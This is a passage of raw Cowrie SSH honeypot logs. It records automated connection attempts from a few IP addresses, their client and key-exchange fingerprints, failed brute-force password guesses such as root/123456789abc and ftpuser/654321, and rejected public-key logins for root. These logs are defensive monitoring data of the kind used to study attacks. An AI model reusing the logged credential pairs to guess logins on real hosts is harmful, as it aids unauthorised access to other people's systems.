e-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:31:18.196079Z","src_ip":"202.145.0.61","session":"42ef89d0a602","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123qwer","message":"login attempt [ubuntu/123qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:31:19.153225Z","src_ip":"202.145.0.61","session":"42ef89d0a602","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:31:20.388736Z","src_ip":"202.145.0.61","session":"42ef89d0a602","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":45048,"dst_ip":"10.17.0.5","dst_port":22,"session":"733aa6c8b571","protocol":"ssh","message":"New connection: 103.15.226.202:45048 (10.17.0.5:22) [session: 733aa6c8b571]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:31:37.488570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:31:37.547980Z","src_ip":"103.15.226.202","session":"733aa6c8b571","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:31:37.799463Z","src_ip":"103.15.226.202","session":"733aa6c8b571","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"halts","password":"D#FC$G#$g3Y2g5#$4651+-","message":"login attempt [halts/D#FC$G#$g3Y2g5#$4651+-] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:31:38.537082Z","src_ip":"103.15.226.202","session":"733aa6c8b571","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:31:39.784808Z","src_ip":"103.15.226.202","session":"733aa6c8b571","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.222","src_port":59172,"dst_ip":"10.17.0.5","dst_port":22,"session":"211cebd712f3","protocol":"ssh","message":"New connection: 103.84.236.222:59172 (10.17.0.5:22) [session: 211cebd712f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:32:02.039467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:32:02.046091Z","src_ip":"103.84.236.222","session":"211cebd712f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:32:02.282521Z","src_ip":"103.84.236.222","session":"211cebd712f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789abc","message":"login attempt [root/123456789abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:32:03.246539Z","src_ip":"103.84.236.222","session":"211cebd712f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:32:04.482332Z","src_ip":"103.84.236.222","session":"211cebd712f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":41384,"dst_ip":"10.17.0.5","dst_port":22,"session":"7324213eecb6","protocol":"ssh","message":"New connection: 202.145.0.61:41384 (10.17.0.5:22) [session: 7324213eecb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:32:12.491061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:32:12.497517Z","src_ip":"202.145.0.61","session":"7324213eecb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:32:12.739167Z","src_ip":"202.145.0.61","session":"7324213eecb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"123","message":"login attempt [server/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:32:13.704592Z","src_ip":"202.145.0.61","session":"7324213eecb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:32:14.941504Z","src_ip":"202.145.0.61","session":"7324213eecb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.222","src_port":47424,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3efed3a9bbf","protocol":"ssh","message":"New connection: 103.84.236.222:47424 (10.17.0.5:22) [session: b3efed3a9bbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:32:59.414886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:32:59.420122Z","src_ip":"103.84.236.222","session":"b3efed3a9bbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:32:59.653602Z","src_ip":"103.84.236.222","session":"b3efed3a9bbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcd1234Abcd","message":"login attempt [root/Abcd1234Abcd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:33:00.614892Z","src_ip":"103.84.236.222","session":"b3efed3a9bbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:33:01.850859Z","src_ip":"103.84.236.222","session":"b3efed3a9bbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":57814,"dst_ip":"10.17.0.5","dst_port":22,"session":"50f1f7b71793","protocol":"ssh","message":"New connection: 202.145.0.61:57814 (10.17.0.5:22) [session: 50f1f7b71793]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:33:04.274204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:33:04.279096Z","src_ip":"202.145.0.61","session":"50f1f7b71793","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:33:04.520256Z","src_ip":"202.145.0.61","session":"50f1f7b71793","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"654321","message":"login attempt [ftpuser/654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:33:05.515072Z","src_ip":"202.145.0.61","session":"50f1f7b71793","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:33:06.758884Z","src_ip":"202.145.0.61","session":"50f1f7b71793","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.37.117.71","src_port":56942,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b6417c8c43b","protocol":"ssh","message":"New connection: 89.37.117.71:56942 (10.17.0.5:22) [session: 8b6417c8c43b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:33:33.018311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:33:33.022653Z","src_ip":"89.37.117.71","session":"8b6417c8c43b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:33:33.146895Z","src_ip":"89.37.117.71","session":"8b6417c8c43b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"00:32:e1:da:c2:87:58:d6:b2:1e:b5:55:ea:fa:65:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxaZ0CU+yVxJmt2e9nEWrbjHdGmHssS5L/I6FYihLwWwPaMmYJ+1RskjqRbIporIAw1qfO/1Hj+lyb7Ny7x2fij4NWumu03JFoW5lfsHoQ7eg2b68iSqdNkm2kzfgrorD9S/QlhhFdNtYw6shBGk5LAKFc1GV3hogZ8B9g/YfpAKVjZM9jLAijt2pRV+cCH1q2U5LLjW9RoO+YzdtXYjCUimO4uHfrA/i5mwS7QiLmpfwryWK77EZuHSB3LpcUIIl9EJCvmqrsXyjPhaRkuZa4WByLEAww1FMWqRF1Z7uVJin9Dqf3casI4xaVIiYkMBH/q5fjXigR3RgkiVk5vHdp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 00:32:e1:da:c2:87:58:d6:b2:1e:b5:55:ea:fa:65:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:33:33.734703Z","src_ip":"89.37.117.71","session":"8b6417c8c43b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"00:32:e1:da:c2:87:58:d6:b2:1e:b5:55:ea:fa:65:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxaZ0CU+yVxJmt2e9nEWrbjHdGmHssS5L/I6FYihLwWwPaMmYJ+1RskjqRbIporIAw1qfO/1Hj+lyb7Ny7x2fij4NWumu03JFoW5lfsHoQ7eg2b68iSqdNkm2kzfgrorD9S/QlhhFdNtYw6shBGk5LAKFc1GV3hogZ8B9g/YfpAKVjZM9jLAijt2pRV+cCH1q2U5LLjW9RoO+YzdtXYjCUimO4uHfrA/i5mwS7QiLmpfwryWK77EZuHSB3LpcUIIl9EJCvmqrsXyjPhaRkuZa4WByLEAww1FMWqRF1Z7uVJin9Dqf3casI4xaVIiYkMBH/q5fjXigR3RgkiVk5vHdp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:33:33.738658Z","src_ip":"89.37.117.71","session":"8b6417c8c43b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"17:61:37:ff:10:0f:8d:75:f4:f5:22:1e:10:98:88:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDh4f7pwfNjenXW5DPsRPuieUwS4TLPeOW48ssISZdSUvievcu4Vmlyg06GmWcI/rb/LX8VgWMfrpSnOZP3Qklw4vWI6+H0Nan0oTl7hnkP+1zArApVr33q+QTEmfpn5ALe+9ZxqGqV0PpeVnKU5diOv+KQg8VCsvUTxPqxksBaHxz727XCqIdNqBVKpfzQdUb/UeDtmKXZSU7/984lescsbyiyhm6Lw8GTw+M+eWthKC6vvNIf7Yf2PikHB9LxCblxFUdL0uPsZzbSy/T2nKhI4GZcZdXJyxiUi8HcccqA3ssfcrGFVOJ5rOCCmxMRcyVoPt2sqn1FuYI7rQQR3SjH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 17:61:37:ff:10:0f:8d:75:f4:f5:22:1e:10:98:88:c1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:33:33.860214Z","src_ip":"89.37.117.71","session":"8b6417c8c43b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"17:61:37:ff:10:0f:8d:75:f4:f5:22:1e:10:98:88:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDh4f7pwfNjenXW5DPsRPuieUwS4TLPeOW48ssISZdSUvievcu4Vmlyg06GmWcI/rb/LX8VgWMfrpSnOZP3Qklw4vWI6+H0Nan0oTl7hnkP+1zArApVr33q+QTEmfpn5ALe+9ZxqGqV0PpeVnKU5diOv+KQg8VCsvUTxPqxksBaHxz727XCqIdNqBVKpfzQdUb/UeDtmKXZSU7/984lescsbyiyhm6Lw8GTw+M+eWthKC6vvNIf7Yf2PikHB9LxCblxFUdL0uPsZzbSy/T2nKhI4GZcZdXJyxiUi8HcccqA3ssfcrGFVOJ5rOCCmxMRcyVoPt2sqn1FuYI7rQQR3SjH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:33:33.864918Z","src_ip":"89.37.117.71","session":"8b6417c8c43b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3f:21:c6:d4:39:6d:02:7b:ec:5c:f2:c9:98:2c:7f:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuX7hVsxxsBKoqwirhm7x5yWgFzNmRwVjCmTcVf39ciY8bHcXMWv/S0Fliu8ko35RO0Sa1zW6CcicNDaMd/2nbEaDRnJmGCytqWwZpaRiv2uwo8b8+3ucAZV8p+JLIG29jbdY106aXZWJB18/Jpz9YSKYZLbm7nx2EFTjJGPbfuBa2jGOlgiYTwAvy3UsGaoDXWObBnQapzvo6P2SnE5azjNrUJ3SbTYAZD2itRPYlLWOWTK93u/NA6hCFosLfAhkZKzlXttEDMiRxZlfw6UpArhuMWhygO9Yy2G15xmDwIoIUyzds9T1cDJYKEZlFn3CSgQOtLCWsOWEKTTKlvBDZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3f:21:c6:d4:39:6d:02:7b:ec:5c:f2:c9:98:2c:7f:ec","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:33:33.990927Z","src_ip":"89.37.117.71","session":"8b6417c8c43b","protocol":"ssh"}
